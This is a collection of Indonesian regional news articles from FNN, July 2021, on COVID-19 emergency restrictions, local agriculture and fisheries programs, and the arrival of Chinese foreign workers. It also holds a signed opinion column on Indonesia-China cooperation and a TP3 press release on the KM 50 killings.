Jogjakarta, FNN - Pemerintah Kota Jogjakarta mengantisipasi pasar tradisional menjadi salah satu tempat yang berpotensi terjadi kerumunan selama pemberlakuan PPKM Darurat, khususnya terhadap luberan pedagang yang berjualan di luar pasar. “Kami sudah melakukan sosialisasi kepada pedagang di dalam pasar terkait aturan kapasitas 50 persen. Pedagang dianjurkan untuk berjualan bergantian,” kata Kepala Dinas Perdagangan Kota Jogjakarta Yunianto Dwi Sutono di Jogjakarta, Selasa. Hanya saja, lanjut dia, masih ada luberan pedagang yang berjualan di luar pasar atau di tepi jalan dan kondisi tersebut berpotensi menimbulkan kerumunan. “Masyarakat atau konsumen biasanya ingin cepat dan praktis memperoleh barang, sehingga lebih sering berbelanja di luar pasar,” katanya. Dinas Perdagangan Kota Jogjakarta kemudian berkoordinasi dengan kecamatan serta Satpol PP Kota Jogjakarta untuk memastikan agar luberan pedagang tersebut bisa berjualan dengan tertib menerapkan protokol kesehatan secara ketat. “Kewenangan terhadap pedagang di luar area pasar menjadi tanggung jawab wilayah, yaitu kecamatan dan Satpol PP. Makanya, kami berkoordinasi dengan instansi tersebut untuk memastikan protokol kesehatan tetap berjalan dengan baik,” katanya. Untuk membatasi kapasitas pengunjung pasar sebanyak 50 persen, dilakukan dengan menutup beberapa pintu masuk pasar atau mengurangi akses masuk pengunjung ke pasar tradisional. “Misalnya di Pasar Beringharjo, kami menutup pintu-pintu masuk yang ada di samping pasar. Pintu yang dibuka hanya pintu-pintu utama saja,” katanya. Imbauan untuk menegakkan protokol kesehatan tetap dilakukan melalui radio pasar serta dilakukan penyemprotan disinfektan secara rutin di setiap pasar oleh paguyuban pedagang maupun dari dinas perdagangan. “Kami menyarankan agar konsumen bisa memanfaatkan sistem belanja online bekerja sama dengan aplikasi Gojek. Masih ada cashback yang bisa dinikmati konsumen,” katanya. Di Kota Jogjakarta terdapat 30 pasar tradisional. Pedagang di Pasar Beringharjo dan Pusat Perbelanjaan Beringharjo yang tidak menjual kebutuhan pokok sehari-hari diminta tutup sementara hingga 20 Juli. “Jam operasional pasar pun dibatasi hingga pukul 20.00 WIB. Ini berlaku di Pasar Giwangan, karena biasanya pasar ini buka 24 jam,” katanya. Guna memastikan persediaan bahan kebutuhan pokok di Kota Jogjakarta tetap terpenuhi, maka Yunianto sudah meminta distributor yang biasanya masuk ke Pasar Induk Giwangan pada malam hari untuk mengatur kembali jam pengiriman menjadi tidak lebih dari pukul 20.00 WIB. Sementara itu, Wali Kota Jogjakarta Haryadi Suyuti yang melakukan inspeksi mendadak di Pasar Kranggan Jogjakarta meminta agar pedagang dan konsumen disiplin menjalankan protokol kesehatan saat beraktivitas di pasar tradisional. “Tujuannya agar perekonomian masih berjalan dan kondisi kesehatan warga terjaga. Kuncinya adalah menerapkan protokol kesehatan dengan ketat,” katanya. Ia juga meminta dinas perdagangan untuk mengatur alur keluar masuk pengunjung sehingga pengunjung tidak saling berpapasan sebagai upaya mencegah penularan COVID-19. (mth)

Distan Baubau Kembangkan Kedelai Seluas 400 Hektar

Kendari, FNN - Dinas Pertanian (Distan) Kota Baubau Sulawesi Tenggara (Sultra) pada tahun ini mengembangkan tanaman kedelai di lahan seluas 400 hektare di Kecamatan Bungi karena tanaman itu menjadi salah satu komoditas yang kerap diimpor akibat kurangnya stok kedelai nasional. Kepala Dinas Pertanian Baubau, Muhamad Rais melalui pesan WhatsApp yang diterima, Selasa, mengungkapkan pengembangan kedelai itu merupakan program Kementerian Pertanian yang diturunkan melalui masing-masing pemerintah provinsi dalam rangka mengatasi kekurangan stok kedelai nasional. "Kedelai saat ini menjadi salah satu komoditas yang kerap diimpor, sehingga ada program pusat diturunkan melalui masing-masing pemerintah provinsi untuk pengembangan kedelai ini," kata Muhammad Rais. Dikatakan Rais, lahan yang diusulkan kepada Pemrov Sultra untuk pengembangan kedelai di Baubau awalnya seluas 100 hektare dengan penanaman direncanakan pada Mei lalu. Namun kata dia, penanaman kedelai tahap awal itu batal karena terjadi kelangkaan benih kedelai di Indonesia sehingga Pemrov Sultra tidak dapat memenuhi permintaan benih yang diusulkan Kota Baubau. Sambil menunggu ketersediaan benih itu lanjut Rais, pihaknya kemudian mengitensifkan sosialisasi kepada petani dengan target menambah luas lahan pengembangan kedelai dan didapatkan lahan seluas 400 hektare di Kecamatan Bungi. "Tambahan luas lahan itu karena dampak dari bantuan alat panen combain yang membuat pelaksanaan panen padi serentak lebih cepat, sehingga waktu pengolahan tanah juga lebih cepat. Dengan begitu ada sela waktu bagi petani kita menanam kedelai atau istilah pertaniannya tercipta IP-300 artinya penanaman bisa tiga kali dalam setahun yaitu penanaman pertama dan kedua padi, dan penanaman ketiga bisa kedelai," katanya. Ia mengatakan penanaman kedelai tahun ini ditarget antara Oktober - November 2021. Pemrov Sultra juga diakuinya sudah menyanggupi penyediaan benih di waktu tanam tersebut. Total benih kedelai yang dibutuhkan untuk lahan 400 hektare berkisar 20 ton. (mth)

Bupati Sleman Instruksikan Pemadaman Lampu Jalan Lebih Awal Selama PPKM

Sleman, FNN - Bupati Sleman Kustini Sri Purnomo menginstruksikan pemadaman sebagian lampu penerangan jalan umum dan lampu reklame lebih awal selama Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat. "Jalan seperti di sekitar Seturan, Gejayan, Jalan Kaliurang, Tajem, dan jalan utama lainnya akan di-setting padam lebih awal (lampunya). Ada juga yang nanti dipadamkan pukul 20.00 WIB. Semua (dipadamkan) sampai pagi hingga 20 Juli," kata Kustini di Sleman, Daerah Istimewa Yogyakarta, Selasa. Ia mengatakan, pemilik papan reklame juga sudah disurati dan diminta untuk mematikan lampu reklame dari 5 Juli hingga 20 Juli 2021. "Selain mematikan lampu reklame, lampu penerangan di sejumlah ruas jalan juga akan dipadamkan. Beberapa ruas jalan yang sering ramai dilintasi oleh pengendara, lampu PJU (penerangan jalan umum) akan di-setting padam lebih awal," katanya. Di samping memadamkan lampu reklame dan lampu jalan lebih awal di sejumlah pusat keramaian, pemerintah kabupaten bekerja sama dengan kepolisian menutup sejumlah jalan guna membatasi mobilitas warga. "Langkah penyekatan yang bertujuan mengurangi mobilitas ini dilakukan pada malam hari dan berlokasi di sekitar wilayah Janti, Seturan, Gejayan, serta Jalan Kaliurang," katanya. Kustini mengatakan bahwa pemerintah kabupaten menerapkan kebijakan-kebijakan tersebut untuk memaksimalkan pelaksanaan PPKM Darurat di Kabupaten Sleman. "Dengan memadamkan lampu penerangan yang ada seperti reklame dan sejumlah lampu PJU serta penyekatan sejumlah ruas jalan akan sangat berdampak pada berkurangnya mobilitas masyarakat," katanya. Mengenai kemungkinan adanya akibat sampingan dari pemadaman lampu jalan lebih awal, Kustini meminta masyarakat tidak khawatir karena pemerintah kabupaten akan meningkatkan pengamanan wilayah. "Pemkab Sleman dengan Polres Sleman dan Kodim 0732 Sleman telah berkomitmen untuk menjamin keselamatan, keamanan, dan kenyamanan masyarakat Sleman saat kebijakan ini diterapkan," katanya. Dia mengemukakan, sejumlah komunitas di Sleman mendukung penerapan kebijakan tersebut dan beberapa di antaranya menyampaikan jargon "Sleman Bobok Luwih Awal" (Sleman Tidur Lebih Awal). "Jargon ini sangat mengena, terutama di kalangan anak muda yang sering menghabiskan malam dengan nongkrong," katanya. Bupati Sleman meminta warganya mematuhi aturan PPKM Darurat dengan tetap berada di rumah kecuali ada keperluan mendesak. "Langkah ini kita ambil agar masyarakat sudah tidak perlu keluar rumah kecuali hal penting yang berhubungan dengan kesehatan. Selain itu monggo di rumah saja," katanya. (mth)

Kemnaker Lakukan Pemeriksaan Terkait Masuknya 20 TKA di Sulsel

Jakarta, FNN - Kementerian Ketenagakerjaan terus melakukan koordinasi dengan Ditjen Imigrasi dan Pemerintah Daerah melalui Pengawas Ketenagakerjaan Disnakertrans Provinsi Sulawesi Selatan terkait informasi mendaratnya 20 TKA asal China di Bandara Sultan Hasanudin, Sulawesi Selatan, Sabtu (3/7) malam. Kepala Biro Humas Kemnaker, Chairul Fadly Harahap, menjelaskan, berdasarkan hasil koordinasi dengan Pengawas Ketenagakerjaan Disnakertrans Provinsi Sulawesi Selatan, bahwa 20 orang TKA tersebut datang sebagai calon tenaga kerja asing dalam rangka uji coba kemampuan dalam bekerja pada Proyek Strategis Nasional PT Huady Nickel-Alloy Kabupaten Bantaeng, Sulawesi Selatan. Hal itu memang diatur dalam Peraturan Presiden Nomor 109 Tahun 2020 tentang Perubahan Ketiga Atas Perpres Nomor 3 Tahun 2016 tentang Percepatan Pelaksanaan Proyek Strategis Nasional. “Pada lampiran nomor urut 96 memang Kawasan Industri Bantaeng, Provinsi Sulawesi Selatan, merupakan salah satu dari Proyek Strategis Nasional yang ada dalam Perpres dimaksud," ujar Chairul dalam keterangan tertulisnya di Jakarta, Selasa. Saat ini Kemnaker berkoordinasi dengan Pengawas Ketenagakerjaan Disnakertarns Provinsi Sulawesi Selatan yang terus melakukan pendataan dan pemantauan terhadap keberadaan calon TKA tersebut untuk memastikan bahwa keberadaannya sudah sesuai dengan regulasi. Chairul menjelaskan lebih lanjut bahwa 20 orang yang diduga calon TKA tersebut sudah berada di Indonesia sebelum diberlakukan PPKM Darurat dan telah menjalani karantina sesuai protokol kesehatan yang berlaku, dan masuk ke Provinsi Sulawesi Selatan tanggal 3 Juli 2021 dengan mengikuti protokol kesehatan pada masa pandemi COVID-19. Terkait kebijakan penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) darurat ini, Chairul menyatakan pihaknya tetap mengacu pada kebijakan Pemerintah yang telah ditetapkan melalui SE Ketua Satgas COVID-19, SE Menaker, maupun instruksi-instruksi lainnya yang mengatur terkait hal tersebut. “Pemerintah tetap berjuang melawan Pandemi COVID-19, namun ekonomi tetap berjalan lewat proyek-proyek strategis nasional, selama membawa kemanfaatan yang luas. Proyek yang melibatkan sedikit TKA untuk proses alih teknologi menyerap lebih banyak pekerja domestik. TKA didatangkan investor sesuai izin dan ketentuan/prosedur protokol kesehatan,” tambah dia. Hingga saat ini, proses pelayanan penggunaan Tenaga Kerja Asing (TKA) untuk permohonan baru, masih tetap dihentikan sementara. Namun hal itu, dikecualikan bagi TKA yang bekerja pada Proyek Strategis Nasional (PSN) dan obyek vital strategis atau nasional tersebut. Berdasarkan Surat (SE) Edaran Nomor M/3/HK.04/II/2021 tentang Pelayanan Penggunaan TKA dalam Upaya Pencegahan masuknya Corona Virus Disease 2019 (COVID-19), maka untuk sementara proses pelayanan penggunaan TKA untuk permohonan baru masih dihentikan. "Penghentian sementara sebagaimana dimaksud dalam angka 1 dikecualikan bagi TKA yang bekerja pada PSN dan objek vital strategis/nasional berdasarkan pertimbangan atau izin khusus tertulis dari kementerian/lembaga terkait," kata Chairul. Sesuai SE Nomor M/3/HK.04/II/2021, Pemberi Kerja dapat mengajukan permohonan penggunaan TKA bagi TKA yang masih berada di wilayah Indonesia. SE ini mulai berlaku pada tanggal 9 Februari 2021 hingga batas waktu yang ditentukan oleh Satuan Tugas Penanganan COVID-19. (mth)

Luhut Pasang Bom Waktu

By M Rizal Fadillah Bandung, FNN - Soal TKA asal China yang terus masuk ke Indonesia melalui berbagai pintu baik airport, seaport, maupun pendaratan lain sangat menggelisahkan. Larangan mudik hingga PPKM Darurat tidak menghalangi kedatangan. Imigrasi terkesan menutup mata atau berdalih pembenaran atas operasi kedatangan berbasis kepentingan ini. Tangan kuat sedang bermain. Adalah Menko Marinves Luhut Binsar Panjaitan yang selalu memproteksi dan membela. Berbagai pernyataan muncul mulai keahlian TKA Cina tidak dimiliki TK lokal, jangan mengganggu TKA China agar investor tidak hengkang, penolak/penyebar berhati busuk, jumlah TKA China sedikit, hingga kedatangan atas persetujuan Presiden. Dalam laman resmi Kemenlu China Luhut Panjaitan disebut dengan jabatan "Koordinator Indonesia Kerjasama dengan China" atau sebutan lain "Utusan Presiden Jokowi". Saat kunjungan bulan Juni lalu Luhut menghadiri acara "tete-a-tete" (pertemuan antara dua orang) yang dilanjutkan dengan penandatanganan MoU Establishing a High Level Dialogue and Cooperation Mechanism dengan Menlu Wang Yi di Beijing China. Selama di China delegasi membuat ikatan kerjasama berbagai bidang baik politik, keamanan, ekonomi, kesehatan, maupun budaya. Menarik beberapa kesepakatan untuk mempererat hubungan RI-RRC yang jika tidak dibuat rambu-rambu atau pengawasan serta kewaspadaan dapat menjadi bom waktu, antara lain : Pertama, konsolidasi solidaritas strategis untuk membangun kerjasama dalam menghadapi masa depan. Ada dimensi bahaya jangka panjang serta makna bersayap dari "konsolidasi solidaritas strategis" terutama untuk kerjasama politik, keamanan, dan juga ekonomi. Kedua, kerjasama membangun poros maritim global Belt and Road Initiative (BRI) melalui kerjasama investasi dan pembiayaan tingkat tinggi mempercepat proyek infrastruktur. Betapa rawannya RI jika investasi dan pembiayaan tingkat tinggi diberikan dalam rangka BRI. Poros maritim adalah jalan memperkuat poros Jakarta-Beijing. Ketiga, kerjasama vaksin dan layanan kesehatan terkait Covid 19. China akan membantu pembangunan pusat produksi vaksin regional. Proyek seperti ini dapat menciptakan ketergantungan akibat hantu pandemi. Dalam pengaruh geopolitik dan bisnis dunia, maka ketergantungan itu bahaya. Apalagi dengan menolak "gerakan nasionalisme vaksin". Keempat, kerjasama maritim soal Laut China Selatan. China membantu pembangunan pusat penyimpanan ikan nasional yang bermanfaat untuk para nelayan kedua negara. Sesungguhnya nelayan China yang lebih mampu menjangkau perairan Indonesia ketimbang sebaliknya. Waspada kerjasama "manfaat bagi para nelayan kedua negara". Kelima, pertukaran budaya dan people to people. Sesungguhnya Indonesia lebih rawan dalam menghadapi serangan budaya China dan migrasi "people" dari daratan China. Hampir tak ada people Indonesia "tersesat" di China. Apalagi jika ditambah dengan "memperluas interaksi antara think tank media untuk mengkonsolidasikan dukungan publik untuk pengembangan bilateral". Di tengah banjirnya TKA China di masa pandemi, penguasaan ekonomi oleh para taipan, puja-puji kemajuan global China, ucapan selamat kepada ultah Partai Komunis China, serta klaim "kesiapan 271 juta penduduk" untuk bekerjasama erat, maka kesepakatan yang dibuat "Utusan Presiden Jokowi" di atas adalah bom waktu yang dipasang dan sewaktu-waktu dapat meledak. Okelah, sementara rakyat ucapkan selamat dan sukses Pak Luhut sang pejabat "Koordinator Indonesia Kerjasama dengan China". Enjoy the Cooperation ! *) Pemerhati Politik dan Kebangsaan

Buku Putih Pelanggaran HAM Berat KM 50 Diterima Pemerintah

Jakarta, FNN - Pada hari Jumat, 2 Juli 2021 Tim Pengawal Peristiwa Pembunuhan Enam Pengawal HRS (TP3) telah menyerahkan temuan dan hasil kajian atas pembunuhan enam pengawal HRS secara resmi kepada Pemerintah RI. Temuan dan hasil kajian tertuang dalam buku berjudul “Buku Putih – Pelanggaran HAM Berat, Pembunuhan Enam Pengawal HRS”, telah diserahkan melalui Menko Polhukam Mahfud MD. Penyampaian buku ini merupakan wujud komitmen TP3 menindaklanjuti tawaran Presiden Jokowi saat audiensi dengan TP3 pada 9 Maret 2021 di Istana Merdeka. Pada saat itu Presiden Jokowi menyatakan bersedia menerima temuan dan hasil kajian TP3, terutama jika berbeda dengan laporan pemantauan yang telah disampaikan oleh Komnas HAM.. Amat disayangkan, belakangan Presiden Jokowi berubah sikap, dan justru meminta Kemenko Polhukam untuk menerima temuan dari TP3 tersebut. Sebelumnya, permohonan TP3 untuk beraudiensi dengan Presiden Jokowi guna menyampaikan temuan dan hasil kajian telah dilayangkan melalui Surat TP3 Nomor 20/A/TP3/11/2021 tanggal 27 Mei 2021. Setelah hampir sebulan berlalu, TP3 memahami bahwa ternyata Presiden Jokowi tidak mempunyai keinginan beraudiensi sesuai komitmen semula.. Sebagai gantinya TP3 diminta untuk menyampaikan temuan kepada Kemenko Polhukam. Temuan dan hasil analisis TP3 memberikan petunjuk kuat bahwa pembunuhan terhadap 6 (enam) warga negara Indonesia di KM 50 Tol Cikampek telah dilakukan secara sistematis oleh aparat negara. Dari analisis yang dilakukan, TP3 menilai pembunuhan sistemik, sadis, dan sarat penganiayaan tersebut adalah *suatu kejahatan kemanusiaan dan pelanggaran HAM berat yang harus diproses sesuai UU No.26/2000 tentang Pengadilan HAM*. Sebaliknya, TP3 menilai Laporan Pemantauan yang diakui Komnas HAM sebagai Laporan Penyelidikan tidak berisi fakta dan informasi yang utuh sebagaimana terjadi di lapangan. TP3 telah menyatakan perbedaan sikap secara terbuka terhadap temuan dan rekomendasi Komnas HAM, yang menyatakan pembunuhan tersebut sebagai pelanggaran HAM biasa dan tindak pidana biasa. Bagi TP3, laporan Komnas HAM tersebut bersifat bias, tidak objektif, tidak konsisten antara fakta-fakta hukum dengan rekomendasi, sehingga tidak kredibel dan tidak valid. Karena itu, TP3 sangat prihatin dan menolak dengan tegas jika Pemerintah, terutama Bareskrim Polri dan Kejaksaan Agung tetap menjadikan laporan Komnas HAM sebagai dasar dan rujukan dalam proses penegakan hukum terhadap aparat negara pelaku pembunuhan enam pengawal HRS. TP3 menuntut agar proses penyelidikan dan penyidikan yang sedang berlangsung saat ini (sekiranya ada) agar segera ditingkatkan menjadi penyelidikan Pelanggaran HAM Berat dan Kejahatan Terhadap Kemanusiaan sesuai aturan dalam UU No.26 Tahun 2000 tentang Pengadilan HAM. Lahirnya Buku Putih tentang peristiwa pembunuhan enam pengawal HRS merupakan bentuk tanggungjawab moral dan sosial TP3 kepada para korban tewas dan keluarganya, guna terciptanya kehidupan berbangsa dan bernegara yang sesuai Pancasila, UUD 1945 dan cita-cita kemerdekaan Republik Indonesia. Kegiatan TP3 ini dijamin pula dalam UUD 1945, terutama terkait dengan hak-hak berupa: a) pengakuan, jaminan, perlindungan dan kepastian hukum yang adil serta perlakuan yang sama di hadapan hukum; b) kebebasan meyakini kepercayaan, menyatakan pikiran dan sikap, sesuai dengan hati nurani; dan c) kebebasan berserikat, berkumpul, dan mengeluarkan pendapat. TP3 kembali mengingatkan, saat audiensi pada 9 Maret 2021, Presiden Jokowi menyatakan siap menerima masukan-masukan dari TP3. Presiden juga berjanji mendukung penuntasan kasus secara adil transparan dan dapat diterima rakyat. Menimpali tanggapan Presiden, Menko Polhukam juga mempersilahkan TP3 memberi masukan berdasar bukti bukan berdasar keyakinan. Melalui Buku Putih ini, TP3 datang dengan temuan-temuan dan hasil kajian yang dapat dipertanggungjawabkan, bukan atas keyakinan tanpa dasar, yang diharapkan dapat ditindaklanjuti oleh Pemerintah. TP3 memiliki berbagai temuan dan masukan yang isinya jauh berbeda dengan laporan Komnas HAM. Laporan Komnas HAM bukan hasil penyelidikan, tetapi hanyalah laporan hasil pemantauan yang diberi label Laporan Hasil Penyelidikan. Karena itu, TP3 menuntut Komnas HAM untuk memulai “Proses Penyelidikan” kasus pembunuhan sesuai perintah UU Nomor 26 Tahun 2000, yang sebenarnya dan secara faktual belum pernah dilakukan oleh Komnas HAM. TP3 menuntut Pemerintah, DPR dan Komnas HAM agar konsisten menegakkan hukum di Indonesia sesuai amanat Pasal 1 UUD 1945. TP3 menuntut agar kasus pembunuhan sadis tersebut tidak diselesaikan melalui proses yang sarat rekayasa yang melanggar hukum. TP3 akan terus berjuang untuk memberi pemahaman dan kesadaran kepada publik, akademisi, praktisi hukum, LSM dan ormas-ormas, baik dalam maupun luar negeri, bahwa apa yang dilakukan oleh aparat negara terhadap enam laskar pengawal HRS merupakan pelanggaran HAM berat dan kejahatan terhadap kemanusiaan (grave breaches of human rights and crime against humanity). TP3 menuntut agar asas-asas Ketuhanan Yang Maha Esa dan Kemanusiaan Yang Adil Beradab, sebagai sila-sila dalam Pancasila, benar-benar diwujudkan dalam dunia nyata, bukan sekedar slogan kosong tanpa makna. Rakyat menanti konsistensi ucapan dengan perbuatan yang akan diambil Pemerintah, terutama Presiden Joko Widodo, dalam proses hukum penuntasan kejahatan kemanusiaan, yakni Pelanggaran HAM Berat terhadap enam pengawal HRS oleh aparat negara. Demikianlah Siaran Pers ini kami sampaikan demi Tegaknya Hukum dan keadilan bagi sesama anak bangsa di bumi NKRI. Semoga Allah SWT, Tuhan Yang Maha Esa melindungi segenap tumpah darah dan tanah air Indonesia, termasuk anak-anak bangsa yang berupaya menuntut Tegaknya Hukum dan Keadilan bagi enam orang pengawal HRS.

Pemkab Musi Banyuasin Garap Potensi Perikanan Desa

Sekayu, FNN - Pemerintah Kabupaten (Pemkab) Musi Banyuasin, Sumatera Selatan, menggarap potensi desa di bidang perikanan sebagai upaya menekan angka kemiskinan. Asisten Bidang Perekonomian dan Pembangunan Musi Banyuasin Yusuf Amilin di Sekayu, Senin, mengatakan, melalui Bappeda dan Dewan Riset Daerah (DRD) Kabupaten Musi Banyuasin dilakukan pilot project di Desa Persiapan Toman Baru di Kecamatan Babat Toman dengan memberikan pelatihan budi daya ikan lele dan pembuatan pakan ikan. “Budi daya ikan lele menjadi pilihan karena relatif mudah dipelihara dan dijual, hanya saja harga pakannya relatif mahal,” kata dia. Berdasarkan Rencana Pembangunan Jangka Menengah (RPJMD), pihaknya menargetkan pada akhir tahun 2022 angka kemiskinan turun menjadi 13,20 persen. Untuk itu DRD Kabupaten Musi Banyuasin bersama Litbang Bappeda mensurvei sejumlah desa untuk melakukan pemetaan potensi. Berdasarkan hasil survei itu diputuskan bahwa sektor perikanan sangat menjanjikan karena kabupaten itu dialiri Sungai Musi dan Sungai Batanghari Leko. Ketua DRD Musi Banyuasin Hasbi mengatakan program di sektor perikanan ini akan diterapkan juga di desa-desa lain sebagai upaya pengentasan kemiskinan. Melalui program ini masyarakat diajarkan cara membuat pakan ikan alternatif dari bahan dedak, ikan asin bekas dan keong sawah yang biayanya lebih murah dibandingkan pakan pelet. “Bisa hemat sampai 50 persen,” kata dia. Selain itu mereka juga diajarkan budi daya tanaman azolla yang dapat dijadikan juga pakan ikan lele. Kepala Bappeda Musi Banyuasin Iskandar Syahrianto mengatakan pilot project pelatihan budi daya ikan lele dan pembuatan pakan ikan ini bertujuan memberikan contoh atau model pengembangan, pelembagaan dan pemberdayaan usaha produktif masyarakat. Pelatihan tersebut diselenggarakan di Desa Persiapan Toman Baru dengan diikuti 25 orang warga. (mth)

Pemkot Palu Gandeng Bulog Jaga Stabilitas Pangan

Palu, FNN - Pemerintah Kota Palu menggandeng Perum Bulog Kantor Wilayah Sulawesi Tengah guna menjaga stabilitas produk dan harga pangan di kota tersebut. "Kerja sama ini dalam bentuk menjaga stabilitas harga pangan yang dimasukkan dalam program pengadaan dan penyaluran beras bagi Aparatur Sipil Negara di lingkungan Pemkot Palu dengan harga sesuai Harga Eceran Tertinggi (HET)," kata Wali Kota Palu Hadianto Rasyid saat penandatanganan Perjanjian Kerja Sama (PKS) dengan Perum Bulog wilayah Sulawesi Tengah, di Palu, Senin. Menurut wali kota, perjanjian kerja sama tersebut sangat membantu dalam menjaga stabilitas produk pangan, khususnya di ibu kota Sulteng sekaligus membantu Bulog dalam mewujudkan penyerapan beras petani. Dikatakannya, Bulog sebagai penyedia produk pangan di bawah naungan Pemerintah Pusat berperan strategis terhadap pemenuhan dan distribusi bahan pangan di daerah, salah satunya beras sebagai kebutuhan pokok masyarakat. Dengan begitu, pengadaan dan penyaluran beras kepada ASN berdampak positif terhadap kestabilan produk-produk pangan lainnya, sekaligus menekan angka inflasi. "Harga ditawarkan Bulog pun cukup kompetitif dengan kualitas yang baik. Dulu, masyarakat berfikir produk Bulog selalu dihadapkan dengan sisi kualitas, namun sekarang Bulog justru tampil berbeda yang mengedepankan kualitas suatu produk," ucap Hadianto. Kepala Kantor Wilayah Perum Bulog Sulteng Basirun menjelaskan, keterlibatan Pemkot dalam menggunakan produk mereka sangat memberikan dampak positif terhadap hulu-hilir stabilitas komoditas beras. Pada kerja sama tersebut, Bulog menyediakan kurang lebih 12 ton beras premium untuk melayani sekitar 6.000 ASN di lingkungan Pemkot Palu. "Kami memperkirakan, dari 6.000 ASN memperoleh 20 kilogram beras per orang dengan kebutuhan per bulan kurang lebih 12 ton," ujarnya. Menurut dia, kebutuhan 12 ton per bulan belum bisa dikategorikan sebagai lumbung penyaluran, akan tetapi dari aspek psikis sangat mempengaruhi pasar sehingga stabilisasi bisa terjaga. Sebab, melalui pola kerja sama tersebut dengan penguasaan Bulog sekitar 5 sampai 6 persen, mereka menilai stabilisasi pangan dapat terjaga karena ASN merupakan unsur masyarakat utama dengan harapan dapat memicu minat masyarakat secara umum menggunakan produk Bulog. Selain itu, katanya, Bulog juga berpatokan HET dalam menjalankan bisnis mereka dengan harga Rp10 ribu per kilogram beras premium. "Kami juga sudah menawarkan kerja sama ini ke daerah-daerah lain di Sulteng, dan yang sudah menyambut positif adalah Kabupaten Sigi setelah Kota Palu. Kami berharap ke depan kerja sama semacam ini bisa terealisasi hingga tingkat masyarakat umum," katanya. (mth)

KKP Gelar Pelatihan Jaga Kualitas Ikan Tuna untuk Ekspor

Jakarta, FNN - Kementerian Kelautan dan Perikanan (KKP) menggelar pelatihan diseminasi teknologi dan produk pascapanen berupa pembekalan teknik penanganan dan pemeringkatan tuna segar termasuk untuk ekspor, bagi para pembina mutu tuna di Sulawesi Utara. "Kegiatan ini sangat penting untuk mendukung peningkatan kualitas komoditas tuna Indonesia, khususnya yang diproduksi oleh Provinsi Sulawesi Utara, agar dapat bersaing terutama di pasar ekspor," kata Dirjen Penguatan Daya Saing Produk Kelautan dan Perikanan KKP Artati Widiarti dalam siaran pers di Jakarta, Senin. Ia mengemukakan bahwa langkah ini sebagai upaya menjaga produktivitas ekspor ikan tuna dari Sulawesi Utara, di mana provinsi ini dikenal sebagai penghasil tuna dengan kualitas baik dan jumlah yang melimpah. Kegiatan pelatihan tersebut berlangsung di Kota Manado dan Bitung,1-2 Juli 2021 yang diikuti oleh 32 peserta yang terdiri dari nelayan tuna, Unit Pengolahan Ikan (UPI) tuna, pembina mutu serta SMK Perikanan Bitung. Upaya tersebut, lanjutnya, sejalan dengan kebijakan Menteri Kelautan dan Perikanan Sakti Wahyu Trenggono untuk menjaga mutu produk perikanan, termasuk komoditas ekspor guna memastikan keamanan pangan dan menjaga kepercayaan pasar internasional. Berdasarkan data KKP, terdapat 91 Unit Pengolahan Ikan (UPI) tuna di Provinsi Sulawesi Utara, yang terdiri dari 58 perusahaan pembekuan, 5 pengalengan, 1 pengolahan lainnya, dan 27 perusahaan yang menangani produk tuna segar dan olahan turunannya. Dari jumlah tersebut, 56 UPI yang tercatat masih aktif. Artati mengungkapkan beberapa permasalahan terkait penurunan mutu ikan bisa mengakibatkan terjadinya penurunan peringkat dan bahkan penolakan dari pembeli sehingga menimbulkan kerugian bagi eksportir. Sebelumnya, KKP meyakini dengan tercatatnya peningkatan ekspor kelautan dan perikanan seiring naiknya permintaan global juga akan mengungkit kinerja perekonomian nasional masa pandemi. "Sektor kelautan dan perikanan mencatatkan kinerja positif selama lima bulan awal 2021," kata Dirjen Penguatan Daya Saing Produk Kelautan dan Perikanan KKP Artati Widiarti. Bahkan, lanjutnya, neraca perdagangan sektor ini surplus 1,9 miliar dolar AS atau setara dengan Rp27 triliun, atau naik 3,72 persen dibanding periode yang sama tahun sebelumnya. Secara kumulatif, nilai ekspor produk perikanan pada Januari–Mei, mencapai 2,1 miliar dolar. Angka ini naik 4,94 persen dibanding periode yang sama tahun 2020. Tingginya nilai ekspor berasal dari komoditas utama meliputi udang yang menyumbang sebesar 865,9 juta dolar AS atau 41 persen terhadap total nilai ekspor total, kemudian tuna–cakalang–tongkol (269,5 juta dolar atau 12,7 persen total nilai ekspor), dan cumi–sotong–gurita (223,6 juta dolar atau 10,6 persen total nilai ekspor. Adapun negara tujuan ekspor utama adalah Amerika Serikat (AS) sebesar 934,1 juta dolar atau 44,2 persen terhadap total nilai ekspor total disusul Tiongkok sebesar 311,2 juta dolar (14,7 persen), dan negara-negara ASEAN sebesar 230,7 juta dolar (10,9 persen). (mth)

Satgas COVID-19 Karantina 20 TKA Setelah Tiba di Bantaeng

Makassar, FNN - Tim Satuan Tugas Percepatan penanganan COVID-19 Kabupaten Bantaeng, Sulawesi Selatan, mengkarantina 20 tenaga kerja asing (TKA) PT Huady Nickel Alloy Bantaeng setelah dilakukan pemeriksaan tes usap (swab) PCR. Juru Bicara Satgas COVID-19 Bantaeng dr Andi Ihsan melalui keterangan persnya yang diterima di Makassar, Senin, menyampaikan karantina tersebut dilakukan sembari menunggu hasil tes usap PCR yang telah dilakukan sejak awal kedatangan puluhan TKA tersebut. "Sejak Sabtu, kita sudah melakukan usapan antigen. Hasilnya tidak ada yang reaktif Tetapi kita juga sudah melakukan usapan PCR. Insyaallah, sebentar malam hasilnya sudah ada," ungkap dr Andi Ihsan. Selama hasil usapan PCR belum terbit, kata Andi Ihsan, maka para TKA itu tidak diperkenankan untuk melakukan aktivitas di PT Huady. Pria yang juga menjabat sebagai Kepala Dinas Kesehatan Bantaeng itu mengatakan upaya mencegah sebaran COVID-19 akan terus dilakukan. "Mereka saat tidak boleh berkeliaran dan tetap berada di Rusunawa PT Huady," ujar dia. Selain itu, Satgas COVID-19 Bantaeng juga telah meminta dokumen kelengkapan vaksin para TKA. Dia menyebut, saat ini ke-20 TKA yang datang ke Bantaeng itu sudah dilengkapi dengan sertifikat vaksin. "Semuanya memiliki sertifikat vaksin. Dokumennya semua ada pada saya," ungkap dr Ihsan. Terkait kedatangan TKA asal Tiongkok ini, Plt. Gubernur Sulsel Andi Sudirman Sulaeman telah menginstruksikan Kepala Dinas Tenaga Kerja dan Transmigrasi Sulsel berkoordinasi dengan pihak imigrasi untuk turun ke Bantaeng. Itu untuk melakukan pemeriksaan langsung perusahaan dan TKA yang datang, termasuk syarat perizinan dari instansi terkait melalui pemerintah pusat untuk tindak lanjut sesuai ketentuan. "Bupati Bantaeng juga telah melaporkan bahwa TKA ini telah tes usao PCR, tinggal menunggu hasilnya segera," katanya. Sementara Kepala Dinas Tenaga Kerja dan Transmigrasi 